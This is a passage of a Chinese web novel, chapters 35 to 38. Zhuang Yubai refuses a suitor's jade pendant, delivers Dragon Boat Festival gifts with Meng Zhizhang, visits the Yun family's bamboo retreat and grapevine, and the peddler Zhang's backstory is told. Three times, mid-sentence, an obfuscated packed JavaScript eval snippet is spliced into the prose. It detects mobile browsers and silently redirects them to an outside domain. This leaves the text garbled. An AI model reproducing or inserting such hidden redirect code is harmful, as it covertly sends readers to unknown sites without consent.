“我瞧瞧。”庄聿白刚想去接，一条坚实有力的手臂拦在面前，“……” “君子无故，玉不离身。”孟知彰抬手拦在半空，将庄聿白挡在身后，又冷眼对那管家道，“更何况你们家小公子身子柔弱不能自理，我劝他还是好好将养为好。至于这玉佩……我、家、夫、郎，不需要！” 孟知彰盯着赵管家，不知何时眸底浮上一抹狠厉。 他微扬下巴，眼神冷戾，甚至带着阴鸷，如雄狮俯视鬣狗，将“我家夫郎”一字一句砸在那管家脸上。 35. 节礼 夫郎？！ 管家脸上笑意瞬间散了，像被鞭子狠狠抽了一通，只觉火燎燎地疼。 他素来八面玲珑，当即明白眼下状况，心中只恨他家那位小祖宗不打听清楚再让人送这玉佩。人家小郎君是这孟书郎家夫郎，自己再拿块玉佩递到人家孟书郎跟前，这不是没事找事吗。 幸好孟书郎是个读书人，换做旁人，自己这条老命估计都得交代在这。 “误会，误会！”赵管家忙将玉佩收回袖子里，“孟书郎海量，都是误会。回去小老儿定会向我家小公子说明情况的。” 赵管家放下东西，带人火速离开了，似乎再晚一秒，就会被孟知彰那刀锋般的眼神给凌迟了。 庄聿白还在门边傻傻目送人远去，他不理解为何对方听闻自己是孟知彰夫郎，就像听到什么可怕的事情一样惊慌逃散了。 “孟兄，我是你夫郎这件事，很了不得么？”庄聿白关了柴门。 “是，很了不得。”孟知彰说得诚恳。 庄聿白想到那块玉佩，心下不无遗憾：“那玉佩那么大一块，我们收了，也能换不少钱呢。孟知彰，你为啥拦我？” 孟知彰面色有些微妙，深沉的眼眸一转，看定庄聿白：“你可知那吴家公子为何送玉与你？” “不是说谢礼吗？哪还有为什么。这种纨绔公子哥好东西多了去了，哪会在乎这一块两块的玉，我们拿来将这玉用到更有价值的地方，让它物有所值，不至于跟那吴用整日混在脂粉堆里，想必这玉也会感激我们。” 庄聿白有自己的一套理论，且说得振振有词。不就是一块玉，怎么到你孟知彰眼里倒像是洪水猛兽。 孟知彰暗不可察皱了眉：“刚我说了‘君子无故，玉不离身。’其中有一个离身的缘故，是遇到相悦之人，解玉相赠，用来——定情。” 孟知彰说得风轻云淡，一双眼睛始终留在庄聿白身上。 什么？！定情！！ 庄聿白眼睛越睁越大。 “死基佬！我说呢，那日我在厨房帮他家老太太炸玉片，他贼眉鼠眼地围着我转来转去，果然没攒什么好屁！今日还让管家给我送玉来，这是要做什么？想跟我私定终身？给爷整笑了！他怎么敢的！” 玉，是坚决不能收的。这也没影响到庄聿白的心情，他晚饭故意只吃了七分饱，因为要给那几盒点心留点肚子。 这点小心思逃不过孟知彰。孟知彰都依他，还特意倒了盏茶，只强调天晚了，吃多容易积食。每样只许吃一块。 庄聿白点头应着，笑得见牙不见眼。书桌被征用来摆点心，各色小果子齐齐一排，和灯光下庄聿白的笑容一样治愈。庄聿白拣了一块荷花酥，轻轻咬了一块，酥香满口，松脆又细腻。 明日就初四了，庄聿白也计划着家中要送的端午节礼。他同孟知彰商量，私塾先生是要送的，然后是族长家、牛叔家、虾户家，当然还有货郎张家。端午节礼就是金玉满堂，每家两份，多少是份心意。 见孟知彰未反对，庄聿白又递了一枚嵌字豆糖给他：“这些小果子，我另外留了三盒，一盒给牛家叔婶尝尝；一盒留给货郎张家，他家娘子有身孕；一盒送柳婶家，今日乡邻订单也多亏他们帮忙。” 孟知彰没有接豆糖。 他背至身后的拳头下意识紧攥，青筋微凸，积攒了大半日的情绪，终于在此刻露出尖刺。 “今日柳婶要给你介绍她娘家亲友？” 庄聿白递出的豆糖停在半空，他琢磨着对方眉心那晦涩难明的情绪。 “孟知彰，你是读书人，是读圣贤书的君子，怎么还听人墙角？” 这就是承认事情属实，孟知彰眉心微皱，不觉上前半步，继续追问：“你是何打算？” 这人怎么没完没了！ “我能有什么打算？！终于忙完这几个大单，我打算好好睡两天！”庄聿白将人家没领情的豆糖塞进自己嘴里，嚼得咔吧咔吧响，“不起床那种。” “那起床之后呢？”孟知彰站在原地，神色顿了下，声音极低极淡，带着昭然若揭的试探，“柳婶娘家在当地家境殷实，家中也有读书人。” 这人怎么还犯起轴劲儿！ “兄弟，相信我！单凭这金玉满堂，咱离‘家境殷实’也不远了。而且，我看好你。你好好科举读书，到时中个举人进士，也带我去见识下京城繁华。” 庄聿白踮起脚尖拍拍孟知彰肩膀，不知是不是灯影晃的，他在孟知彰眼尾看到一抹笑意，若有若无。 * 逢年过节不起床的愿望，仅限口头说说。第二天一早庄聿白便和萌孟知彰一起备好节礼，换好衣衫，准备“走亲访友”。 第一站，族长家。 私塾先生的节礼，昨日学中已经送到。虾户今早来过，还带了几尾圆滚滚的鲫鱼。庄聿白笑着递上两份金玉满堂，笑着接过鲫鱼时被溅了一脸水。货郎张明早会来取当日所需金玉满堂，到时将他的那份节礼一并送上。 除了两份金玉满堂，两人还带上昨日吴家送来的一盒果品小食，以及孟知彰早就备下的一小坛松针酒。 进门先见过族长。族长一向严肃，叮嘱孟知彰专心读书即可，秋日赴考之资，族中会给他想办法。但听闻二人一月时间不到已经攒了小十两银子，族长向来沉稳的脸上，一时难掩诧异。 “一个月，十两？” 这可是多少庄户人一大家子一年也攒不到的银钱！这两个后生，一月之内竟攒下这么多。 族长知道孟知彰沉稳持重，定不会说大话。可这实打实的十两银子……他捻着花白胡须，重新打量起孟知彰身边的这个小哥儿，竟不觉倒吸半口凉气。 单只看长相，若非生于这朴实本分之家，将来魅主惑上、祸国殃民也未可知。更何况还懂经营钻研。 孟知彰说过这是他母亲娘家的远房表弟。儿媳柳氏也多次提及，每次都是满心满口喜欢，还想着给她娘家内侄牵根红线。 族长平生见过不少人，若论姻缘，儿媳娘家内侄就算了。也不能说差得远。风马牛不相及，此时倒成了一个贴切的表述。 而孟知彰和淮南庄家的小哥儿定有婚约，此事族中内外皆知。他相信孟知彰这孩子定会守礼守序，不行出格之事。 出门时，族长原想交代些什么，话在口中斟酌再三，却换成：“夏收不用担心，还有这些族兄族弟们，大家都会搭把手的。” 临行，柳婶将早就准备好的一串艾汁粽子和园中现摘的瓜菜装袋拎给二人，又拉着庄聿白衣袖送到门口，让他没事常来坐坐。 牛家的节礼，除了金玉满堂两份、果品一盒外，庄聿白还现做了一小坛虾油，拌面或者凉拌小菜都可以。又将那天青色布料也带了半匹，还有两尾扑棱棱的大鲫鱼。 牛婶从厨房迎出来，围裙上擦着手将人往屋里请，又是高兴又是心疼，口中埋怨：“你叔婶家也不是外人，这俩孩子，带这么多东西来做什么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903054|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白笑着接过牛婶递过来的茶水，开门见山，此次一为拜节，二是商议生意上的事情。 吴家的百十份寿宴回礼，加上学中和乡邻的端午节礼扩散，庄聿白预计节后这金玉满堂的订单恐怕会出现井喷。货郎张日常售卖可以维持，但这多出的订单一时恐应对不来。 有订单，就有钱赚，牛叔牛婶都替这俩孩子高兴。 “我们想请大有哥闲时来帮忙。工钱和此前一样，120文一天。若有还会按时长付加时费。不知叔婶意下如何？” 炭窑上的活计，就是装窑烧炭的那两日较忙，其他时间若没有像吴家寿宴这样的用炭订单，牛大叔能忙个七七八八，何况还有牛二有这小半个劳力。 老两口自然没有意见，他们向来信得过孟知彰。相处时日不多，孟知彰这个瘦瘦小小的小表弟，他们是发自心底喜欢。 牛大有自然也愿意。自从讨回兴二克扣的一两银子，他已经将庄聿白视作孟知彰之外最靠谱的朋友。 马上晌午，牛婶强行留二人吃饭。 孟知彰劝住牛婶：“改日再吃，这会还要赶着去趟山中。” 牛婶一听便懂了，她粗布围裙上擦擦手，“知彰你略等等。”又拍拍牛二有后脑勺，“去将那两串粽子拿来。” 牛大叔拎来一小篓炭火：“知彰，这柳条炭你带去山中，特意用小窑烧的。煮茶、熏香，比外头买的要好。这次只得了这一小竹篓。” 孟知彰将竹篓搭在腕上，又接过柳婶递来的两串红豆粽。 “这一串你跟琥珀回家吃。这一串送去山中。” 牛二有咚咚咚跑来，笑笑仰脸看着庄聿白：“多亏琥珀哥哥给追回的银子，阿娘才舍得花些钱买红豆来包粽子。” “小兔崽子，刚灶台上那几个煮开口的粽子，是不是都被你偷吃了！”牛婶从后拧住牛二有耳朵，笑骂道，又指指院中枣树，同庄聿白说，“秋天这院中也能打不少枣子，到时牛婶给你做枣糕吃。” 一时笑笑闹闹离了牛家。窜了两家门，庄聿白觉得今日的社交KPI已经完成，他进门便开始宽衣解带，想舒舒服服先去床上躺一会儿。 不料却被孟知彰拦住。 “难道只有天黑之后才能去床上躺着不成？”庄聿白去推拦在自己身侧、阻止自己解绳扣的手臂。 ……没推动。 庄聿白索性向旁一躲，手上动作并未停，一把扯开胸前衣襟，里面的月白色抱腹，顿时漏了半截出来。 “……” 见庄聿白的手还要将那截抱腹拽出来透气，孟知彰忙去扳对方肩膀：“我们还要去趟山中。” 或许一时忘情，孟知彰没控制好手上力度。 “啊呀！孟知彰你弄疼我了！” 庄聿白一喊，孟知彰吓得忙松了手。 庄聿白揉着肩膀，拿白眼横他：“孟知彰，你能不能掂量下自己的力气再捏我！你瞧瞧你那手臂，比牛婶家那棵枣树还粗！” “……抱歉。我……” 不知是因为自己弄疼了人家，还是方才那截抱腹扰人心神，孟知彰的脸上竟少见地浮上一抹赧色。 “算了，看在我们是好兄弟的份上，原谅你了。这是我大度。你这种行为，换成两口子，就属于家暴。家暴你懂吗？” 庄聿白嘴里碎碎念，鼓气理好衣襟，又慢慢系上扣子：“刚你说去哪？山中？” “对，山中。去给云先生和云兄送节礼。” 36. 葡萄 云家，庄聿白并不陌生。 云先生和云兄的名号，他早有耳闻。 上次牛大有提到这父子两人是来此守墓的“世外仙人”，而且孟知彰和这位云公子交情颇深时，庄聿白原计划回家后盘问孟知彰一番，谁知后面出定亲一档子时，就给耽搁了。 两人出了院门，一路向北往山中走去。 孟知彰手臂上搭着那篓柳条炭，手中拎着两份金玉满堂，此外还有四荷叶包金球。庄聿白猜测，应该是云先生喜欢吃金球，所以多送几包。 庄聿白：“听闻云先生父子在山中修仙？” 孟知彰：“守墓。” 庄聿白：“我们去探望，需不需要带些纸钱？” 孟知彰：“不用。” 庄聿白：“听说你与那云公子交好？你怎么不带我去见他？” 孟知彰：“此刻，就在去见他。” …… 林子越走越深，庄聿白双脚踩上湿滑厚重的腐殖层，尘封的记忆一点点开始攻击他。 林高枝繁，浓密的树叶将阳光挡得严严实实，恨不能一丝一缕光线都漏不进来。那种浑身湿漉漉，像被生铁紧箍的失落感和绝望感，又涌了上来。 耳鸣声中似乎还有忽远忽近的唢呐。 庄聿白打了个冷战，他甩甩头，试图将耳中噪音甩掉，一抬头却发现孟知彰已款步走到前面。他忙紧走几步跟上去，悄悄拽住人家衣角。 庄聿白仰头看向身侧：“孟兄，你打得过老虎、豹子么？” 孟知彰目不斜视，放缓脚步，让身边人跟上节奏：“没交过手。” 庄聿白抿了抿唇，认真考虑接下来的话怎么说比较合适。 “倒不是我小看孟兄你的功夫，而是这山中有……有恶犬！凶残无比，猛一看还像只大黑豹！”庄聿白说到激动处快走几步，走到孟知彰前面，边倒着走边同孟知彰比划，“我此前遇到过一次，与其缠斗了几十个回合，费了好大功夫才得以脱身。” 孟知彰风轻云淡看了眼前人一眼：“琥珀兄能与其缠斗几十个回合。想必，我也能与之较量一番。” “所以你能打得过老虎、豹子的，对不对？”庄聿白停住脚步，仰脸看着孟知彰，满眼焦急。 孟知彰跟着站定，俯下身，一脸认真：“琥珀兄先打头阵，与之缠斗，待其体力耗损，我再上前，估计能很快制胜。” 庄聿白张张口，想说什么终究没能说出。他转过身去，继续慢慢向前走，脚下明显有些沉。 刚不应该说大话的，但男子汉大丈夫说出去的话岂能收回？庄聿白深吸一口气，挺直腰板：“孟兄，没事的！等会那只恶犬若再出现，我保护你！” 孟知彰看着眼前人猛拍胸脯、一副慷慨大义的模样，淡淡道：“好。有劳。” 一时无言。 两人并肩沿着一条石径往前走，落叶踩在脚下，一路唰唰唰。 忽然庄聿白像是听到什么，他猛然站定，扯紧孟知彰衣袖，压低声音：“孟兄，你听见什么了么？” “什么？” “嘘——轻声些。”庄聿白警惕地四周看看，“我好像听到有什么东西窸窸窣窣跟着我们，就在不远。” “哦？” 正此时，“嗖——”五丈之外的树丛中，响起一道迅雷惊穿密林的声响。 庄聿白慌了神。他定在原地，根本不敢动，更不知该如何是好。 接着一声哨起。密林中那道声响，如失魂者找到方向，“唰——”直接冲二人窜来。 熟悉的速度，熟悉的动线，熟悉的声响……就是那只恶犬！ 慌乱中，有那么一瞬，他甚至非常确定这声口哨，是从自己身旁传出来的！ 庄聿白顾不上那么多，他闭上眼，无可无不可地猛拽身旁人胳膊。也不管什么礼仪脸面，搂紧身旁那个温热躯体便向上爬。 “孟兄！孟兄快跑！犬……恶犬来了！孟兄！” 闭上眼，视觉缺位时，其他感官会变得犹为灵敏。通过枯叶碎裂的声音，庄聿白听着恶犬一点点窜到近旁，越来越近，越来越近……此时，翕动鼻息，正在细嗅自己的气味。 隔着单薄的衣衫，庄聿白似乎感觉到冰凉凉的鼻头在自己小腿上蹭着。 庄聿白死死闭上眼，心鼓如雷，震得他整个人都要炸掉。 不知过了多久，世界慢慢静下来。 果然，都说人的灵魂是轻的。庄聿白感觉此时自己的双脚荡在空中，轻飘飘，像片落叶，没有任何脚踏大地的实感。 原来死掉是这种感觉。脚下微凉，胸前温热……似乎还有人在头顶唤自己的名字。是神在唤我？ “琥珀，琥珀。” 声音越来越真实，细听还有些耳熟，很有几分孟知彰的影子。 “琥珀！”声音又起，比方才更真实。 庄聿白试着睁开一只眼。还是方才的树林景象，只是自己这腿仍飘荡在半空。 “恶犬走了。”语气带着安慰。 庄聿白确定这是孟知彰的声音。他愣了下，用胳膊撑开一些距离，往身边温热的这个躯体上看去。 才发现自己不知何时爬上了孟知彰，双臂挂住脖子，双腿跨缠在人家腰上。 “恶犬走了。”孟知彰一只手臂挂着炭篓、粽子、荷叶包等物。另一只手掌在下，稳稳托住庄聿白。 “真的吗？”庄聿白坐在强健有力的手臂上，眼睛四下看看，并没有半分要下来的意思，“会不会再折回来？” “无妨。它主人来了。” 庄聿白随着孟知彰的视线看去，白石头小径深处，竹林掩映。一白衣少年正踏石、持剑，款步朝他们走来。竹叶萧萧，衣袂振振，行动间带着天然的凌凌之气，宛若不落凡尘的世外之人。 庄聿白正兀自晃神，身下手臂忽然一松。他双手下意识猛然抱紧，整个人紧紧贴挂在孟知彰身上，胸膛贴胸膛、颈窝合颈窝，结结实实、严丝合缝。 庄聿白心跳猛猛漏掉一拍时，孟知彰的视线落回来，正对上庄聿白的眼睛。树影晃动，一缕阳光从叶缝漏下，高挺英俊的鼻梁旁那黝黑一潭看不到底的冰泉，此时竟也染上几分柔情。 庄聿白不觉看呆。可不等他细看，恶犬随那白衣少年已到跟前。 黑犬见孟知彰不停摇尾巴，又想来闻嗅挂在他身上的那个人。 “恶犬！”庄聿白一时骑人难下。尴尬又惊恐的视线在孟兄、黑犬和少年间来回切换。 少年心下了然，他看着二人，嘴角噙笑，唤声“应龙！” 那黑犬闻声乖乖走回少年身边，卧在地上。威武大黑豹蜷成乖顺大黑猫，仍不时拿眼睛偷瞄庄聿白。 “琥珀兄就是这般，保护我的？”身下手掌微不可察地拍了拍。庄聿白丹田一紧，周身瞬间紧绷。他终于意识到此时自己是怎么当着外人面贴在人家身上。 “额……孟兄，抱歉。”庄聿白从孟知彰身上蹭下来，讪讪理着揉皱的衣服，又帮孟知彰拉下衣襟，示意他跟人行礼问好。 孟知彰将炭篓向前递了递，就算打过招呼。 清冷少年将剑收至身后，自然而然就将炭篓接过去，又向庄聿白点头致意：“这位， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909305|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是琥珀兄吧。久仰！在下云无择。” 庄聿白看着立在面前的少年，清冷俊朗，神采奕奕在，确定这是守墓，不是在修仙？ “云公子好！”庄聿白笑答。 三人拾阶而上，不一会儿，青竹密丛中忽闪出一座精巧院落。 “琥珀兄，孟兄，请！”云无择抬手推门，将人请进去。 青苔覆地，碎石铺路。迎门一架湘妃竹影墙，将俗世凡尘尽然挡去。举步弯进去，竟洞天别具。郁郁葱葱一架藤蔓，遮天蔽日，天然生长成一个雅致凉亭。 葡萄！ 庄聿白寻枝探叶，循着藤蔓看去，叶片层层叠叠，缀满一串串豆大绿色果粒。棕色藤条缠拧着有小臂粗细，看树龄，至少十几年的老藤。 “云先生不在？” 藤架下，茶台一席，三人分宾主落座。 “阿爹往元觉寺找主持说话去了。”云无择笑道，“孟兄和琥珀兄来的巧，今早师父着人新送了几饼团茶，正好借着这篓新炭，不如一起试试。” 红泥小炉燃在一旁，云无择用竹夹将柳条炭齐整置于暖火上，又置一细吻白瓷水瓶于其上。柳炭质地坚硬，清脆金石之声。 “师父近来可好？”孟知彰指指带来的东西，“这几包素金球，请师父尝尝。” 说话间，云无择手中动作一气呵成，他先从一个竹制小盒中取出一块圆形小茶饼，木槌轻敲，碎茶置于茶碾内，细细研碎。到底是习武之人，举重若轻间，茶粉碾得极轻极薄，清滑细腻，如霞似雾。 茶粉着一小罗慢慢筛出，又辅以茶帚扫入一个白瓷茶盒内：“这一小盒，孟兄带去如何？” 孟知彰摇摇头：“品茶，茶、器、水、炭等皆有讲究，家中器具不全。下次要喝茶，不如直接来云兄这里讨，倒还方便些。” “好，孟兄常来。琥珀兄，也一同来。” 云无择每提一次琥珀，都忍不住要笑看一眼孟知彰。 茶盏内挑入两茶匙茶粉，先用少许温水打湿，茶筅细磨至细腻膏状后，持瓶冲入半盏热水，悬腕轻击茶筅。碧绿茶汤在细竹间激荡，渐渐生出绵密白膏，叠霜累沫，越溢越多。 “泡茶的水，是刘叔去岁冬天在门前竹叶上收集的，还有一坛，就埋在院外的梅树下。前些时，阿爹开了这一坛。” 云无择手法自然娴熟，几个呼吸间，一盏茶递至庄聿白面前，不见茶汤，唯见皤然如积雪的一盏茶膏。 庄聿白道谢接过，品了一口，茶香浓郁，如清泉流淌，润而不涩，茶膏则像新打发的奶油，口感细腻柔滑。庄聿白不觉又喝了两口，当然更勾扯他心神的是头顶这架葡萄。 “云兄家能有这样一架葡萄树，着实令人心生羡慕。现在是夏季，葡萄已挂果，若想果实丰硕，现在可以适当修剪，控制藤蔓生长，减少不必要的养分流失，也更利于葡萄植株的养护。” 云无择认真听着庄聿白的这套葡萄养护理论，却将赞许的目光投向孟知彰。孟知彰若无其事只一味饮茶。 见庄聿白对修剪葡萄藤蔓异常上心，甚是有些势在必得时，云无择眉目间显出难色。 “恐怕要辜负琥珀兄的美意了。倒不是不信琥珀兄的技艺。而是此树乃父亲当年留与阿爹的，莫说修剪藤蔓，即使一片叶子落了地，阿爹都会亲自捡起来收好。” 庄聿白着实眼馋这架葡萄，不过他此时被另外一件事搞糊涂了，带着歉意和冒昧，还是问出了口： “阿爹和父亲，不应该是一个人么？听闻云兄陪云先生在此为父亲守墓。一个人怎么会既有阿爹，又有父亲？” 37. 粽子 庄聿白属实不明白为何一个人可以既有阿爹，又有父亲。 但他话一出口，葡萄架下的气氛似乎出现某种微妙转变。 蜷在云无择脚下的应龙，似察觉出主人情绪变化。它从地上抬起头，疑惑地看看这尴尬局面的制造者庄聿白，眼珠转了下，又默默将头趴回去，摇了摇尾巴。 云无择一口茶滞住。为何既有阿爹又有父亲？就像为什么太阳东升日落、为何月有阴晴圆缺。这可如何回答。 庄聿白满眼真诚，看来是真心想知道个缘由。刚还挂在孟知彰身上的哥儿，此时竟会有此一问。云无择不无玩味地放下茶盏，将目光投向孟知彰。 “云先生是云兄的阿爹，是生养云兄之人。”孟知彰指腹摩挲着茶盏，一本正经同庄聿白解释，“云兄之父已仙逝近二十年。” 孟知彰没说下去，庄聿白已听懂言外之意，这是云先生与云兄永远无法弥补的人生憾事。 但庄聿白立即明白自己言语有失。他忙起身向云无择行了一礼：“抱歉，云兄。我并非有心。” “琥珀兄，无妨。”云无择新制了盏茶给庄聿白。 云无择，原名骆无择。其父骆瞻，陇西武将世家骆家之后，庆鸿9年二甲第八名进士出身。死于庆鸿9年。 云无择，庆鸿10年生人。作为遗腹子，他并未见过父亲。父亲的印象，也只限院外日日祭拜整理的那座坟冢，和院中这架从牙牙学语到少年初长成，始终陪伴自己的葡萄树。 当然云无择这段潮湿又悲伤的身世，庄聿白是很后来才知道的。当然他还知道了更多，包括骆瞻与云先生青梅竹马、两小无猜的过往，包括骆瞻在人生最志得意满时却身死异乡、令人扼腕的短暂一生。 此时庄聿白的逻辑链条中，云先生与云无择的父亲还是高山流水的好兄弟。好到可以隐居山中为之守墓，一守二十年，并让自己亲生的孩子称其为父亲。 从山中回来后，庄聿白着了魔似地想要帮云家修剪葡萄树，这样就可以得到些葡萄藤回来扦插。 虽看不出是什么品种，但近20年的老树，生命力和挂果率仍如此高，若扦插回来好好培育一番，几年时间拥有一座葡萄园不在话下。 梦想是好的，不过云无择也提到，哪怕落片叶子，云先生都会当宝贝一样捡起来。若是给这棵葡萄树修枝剪条，云先生定会心疼。 “孟兄。”庄聿白笑嘻嘻凑到孟知彰身边，递了一只红豆粽过去。 孟知彰猜到来意，并没接，声音淡淡：“何事？” 庄聿白露着两颗小虎牙，眼珠骨碌碌转着，欲言又止，将粽子往孟知彰手上又递了递。 孟知彰看着这只粽子，微微扬下眉。庄聿白会意，忙将粽子收回来，扯去缠绳，剥开叶片，三两下，棕绿色粽叶上托着一枚晶莹亮润的角粽，米香豆香混着粽叶的清香。 孟知彰视线一直落在庄聿白身上，眼尾的那抹泪痣，似乎较刚来时红了些。他伸手接过粽子，玉白色粽肉内隐着一抹红豆的红，他轻轻咬下一口： “你想见云先生？” “对！关于葡萄藤，我想和云先生谈谈。” “需要我做什么？”孟知彰对上庄聿白的视线。 心思一下被猜透，庄聿白倒有几分不好意思。不过孟知彰这健硕的胳膊放在这，天然打蛋器，不好好利用下岂不亏？ 云无择那盏茶的做法提醒了庄聿白，他要带一道温柔的菜去和云先生谈——雪绵豆沙。 庄聿白看来，不管云先生与骆先生是何种关系，能毕生为其隐世守墓，连所送之树的叶片都视若珍宝，骆先生离开后，云先生这二十年来的酸楚有几分，哀伤有几分，午夜梦回时那份潮湿心境下欲哭无泪的伤痛又有几分，恐怕只有云先生自己知道。 庄聿白相信，云先生守着的不只是一个亡人，更是曾经的曾经，两人伯牙子期、相濡以沫的过往。 若庄聿白能以其他方式更好地帮云先生守护住曾经的这份感情，或许他自己葡萄园的梦想也能成真。 此时家中没有茶筅，一双竹筷，一只瓷盆，五枚鸡蛋，手指搓蒜捏出蛋黄后，庄聿白请孟知彰开始手动打发蛋清。 孟知彰坐在石榴树旁，悬肘挥臂。庄聿白去牛婶家借来半碗豆沙馅的空档，半盆蛋清已完美打发，细腻润白，筷插不倒。 庄聿白有些后悔没有早点开发利用孟知彰的这个打蛋功能。 打发后的蛋清加入淀粉，慢慢搅拌顺滑。起锅热油，豆沙搓成小团，裹上厚厚蛋清湖，入锅缓缓烹炸。“云团”浮于“海面”，周身染上金黄色即出锅装盘。 “孟兄，尝尝如何？”庄聿白先为孟知彰夹了一只。 “外壳如云似雪，绵软蓬松；内里馅实沙密，细腻甜润。云先生应该会喜欢。” “云先生喜欢，那你呢？”庄聿白也拈了一块，视线避开孟知彰，追问，“你，喜欢么？” * 庄聿白和孟知彰在院中石榴树旁分食雪绵豆沙时，货郎张已踩着斜阳走在回家的路上。 端午节是年中最重要的节日，街巷人越多，生意自然就越好。像货郎张这般走街窜巷赚辛苦钱的，更没有休息的资格。 明日便是端午。货郎张今日比往常散摊早了些，日头还高，他已经大步走在回家的路上，喜气洋洋，边走边不时地往那货担上瞅一眼。 上面放着一兜新买的过节之物。 近来生意好，除了日常开销外，家中竟然也能存下些银钱。虽不多，有结余，日子才能过得更有盼头。趁着过节，货郎张买了些平时舍不得买的东西，让阿爹阿娘还有粟哥儿高兴高兴。 货郎张到家时，他家夫郎粟哥儿正在烧制艾草灰。满院狼烟四起，拖着沉重身子的一个人，就在那烟火中弯腰“咳咳咳，咳咳咳”。 货郎张吓得魂掉了一半，忙扔下担子，冲进烟雾中将人扶出来，又搬了个凳子让粟哥儿先在风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913984|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉处坐下。 “早起不是说了么，这艾草不急，等我回来再烧。你怎么……”货郎张拿了湿帕子帮人擦着被烟气熏得灰一块黑一块的脸颊，满眼心疼。 粟哥儿将巾帕接过来，腼腆笑了笑：“我想着你在外面走这一天也是辛苦，便擅自做主烧来试试，谁知弄得满院是烟。” 货郎张忙去倒了碗水让粟哥儿压一压口中烟气：“你没烧过，弄不惯的。暂且歇歇，这里交给我。” 艾草是用来煮粽子的，艾草碱水粽是货郎张家每年端午必做食物。往年采摘芦苇叶，包上杂米，每人吃上一只，这个节就算过了。 今年不一样了，自从有了这金玉满堂的营生，货郎张顿觉生活有了底气，今年的粽子自然也扎实有底气。货郎张买了黏米，更包了些梅干、杏脯。 粟哥儿最近爱吃酸，做些水果馅粽子，哄他开心。 货郎张将买来的那一兜东西拿给粟哥儿，自己则去料理那堆正在冒烟的艾草灰。他用树枝向下挑起草堆，空气疏通后草叶尽燃，烟气自然也就散了。 粟哥儿坐在那里看货郎张忙着。公婆去了田中，为眼前的夏收做准备。烧艾灰这些事情原本也不用粟哥儿动手，是他自己过意不去，总想着多为这个家多做些什么。 家中活计多，公婆年纪也大了，力所能及的事情，他自己多做一件，张郎就能少做一件。张郎右腿有伤，从前服兵役时留下的，平时不显，到了阴天下雨这腿疼的毛病就会出来闹人。可他这货郎生意又必须脚走步量。疼，只能忍者。 每日在外风吹日晒，对所有人笑脸相迎赚取一家人的用度。这份辛苦货郎张不说，粟哥儿都看在眼里，也放在心上。 货郎张原名张斗。张家原就穷困，温饱都难以维续。前几年张斗又去服了兵役，家中日子更艰难起来。 福祸相依，好在他战场负伤换回来一点抚恤金，一家人这才置办了三亩地。全家口粮算看似有着落，不过勉强度日。若哪一年是小年，收成不好，饭桌上顿顿野菜的日子也是常有的事。货郎张一晃二十好几，别说娶亲，连媒婆路过他家门前都得绕着走。 有一年西边闹兵荒，不少人往这边逃。一天清晨张老汉像往常一样打开院门，谁知门外竟躺着一个哥儿，奄奄一息，只剩半口气。 倒不是什么大问题，饿的。老两口将人扶到家中，喂了半碗米糊糊，人算是救了回来。 那哥儿缓过些精神，扑通一声跪在地上，眼泪扑簌簌落，求二老能收留他。他会做许多事，裁衣制屡，酿酒绣花他都可以，哪怕洗衣做饭，给他口吃的就行。只求收留他，就当养一只会说话的猫儿狗儿在家中了。 这可让张家犯了难。家中日子本不宽裕，哪还能再多张口？ 穷苦人更懂穷苦人的难。可……可见其生，哪忍见其死。 张母扯起衣袖偷偷拭眼角，张老汉叹息一声比一声重，心中也不是滋味。老两口不约而同看向儿子张斗。 38. 茶坊 货郎张看看二老，又看看眼前只剩半口气的哥儿。骨瘦身轻，整个人过于单薄，若离了他们家，想必撑不过三天。 货郎张点了头。人留下。 老两口跟着松了口气。日子再难，不就是口饭的事，每人筷子下面省一省，也就有了。再不济，他们多去山上挖些野菜。 粟哥儿是个知恩图报的，身子还没好利索就要下床干活。张母劝住了他。既然留下了，就是一家人，只管放宽心养身子。 张家虽穷，但他们碗中有一口吃的，绝不会让粟哥儿的碗空着。老两口真心待自己，粟哥儿也早将这里当成自己家。 粟哥儿手脚勤快，田间地头的活儿虽差些，但院里院外、灶前厨下都收拾得十分妥帖。 村中有心人也发现张家收养了哥儿。模样标致，也勤快利落，手上还有别人不会的技艺。素日从未有过往来的人也开始有事无事登门来闲话几句。 老两口看得明白，这是有人看中了粟哥儿，想帮忙说亲。若能帮着物色个好人家，也算这孩子造化。所以张家对此事睁一只眼闭一只眼，是默认的。 粟哥儿心中也明白。但他不等老两口张罗，自己先开了口。 他要嫁入张家，和张家成为真正的一家人。 老两口一听，惊了。若说他们没动过这个念头，也是不可能。只是觉得自家太过穷苦，起心动念的那一刻，自己就将这个不切实际的想法按了下去。 